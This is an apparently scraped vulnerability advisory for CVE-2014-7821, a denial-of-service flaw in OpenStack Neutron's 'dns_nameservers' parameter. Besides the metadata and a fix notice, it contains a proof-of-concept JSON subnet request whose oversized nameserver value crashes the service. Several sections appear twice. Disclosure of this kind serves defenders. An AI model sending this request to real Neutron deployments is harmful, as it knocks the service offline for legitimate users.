OpenStack Neutron 'dns_nameservers' Parameter Denial of Service Vulnerability
BID:71278
Info
OpenStack Neutron 'dns_nameservers' Parameter Denial of Service Vulnerability
| Bugtraq ID: | 71278 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: |
CVE-2014-7821 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 10 2014 12:00AM |
| Updated: | May 07 2015 06:19PM |
| Credit: | Henry Yamauchi, Charles Neill and Michael Xin from Rackspace. |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
OpenStack Neutron 'dns_nameservers' Parameter Denial of Service Vulnerability
OpenStack Neutron is prone to a denial-of-service vulnerability.
Attackers can exploit this issue to cause the Neutron service to crash, denying service to legitimate users.
OpenStack Neutron is prone to a denial-of-service vulnerability.
Attackers can exploit this issue to cause the Neutron service to crash, denying service to legitimate users.
Exploit / POC
OpenStack Neutron 'dns_nameservers' Parameter Denial of Service Vulnerability
The following example request is available:
{"subnet": {"network_id": "2aeb163a-a415-4568-bb9e-9c0ac93d54e4", "ip_version": 4,
"cidr": "192.168.1.3/16",
"dns_nameservers": ["111111111111111111111111111111111111111111111111111111111111"]}}
The following example request is available:
{"subnet": {"network_id": "2aeb163a-a415-4568-bb9e-9c0ac93d54e4", "ip_version": 4,
"cidr": "192.168.1.3/16",
"dns_nameservers": ["111111111111111111111111111111111111111111111111111111111111"]}}
Solution / Fix
OpenStack Neutron 'dns_nameservers' Parameter Denial of Service Vulnerability
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
OpenStack Neutron 'dns_nameservers' Parameter Denial of Service Vulnerability
References:
References: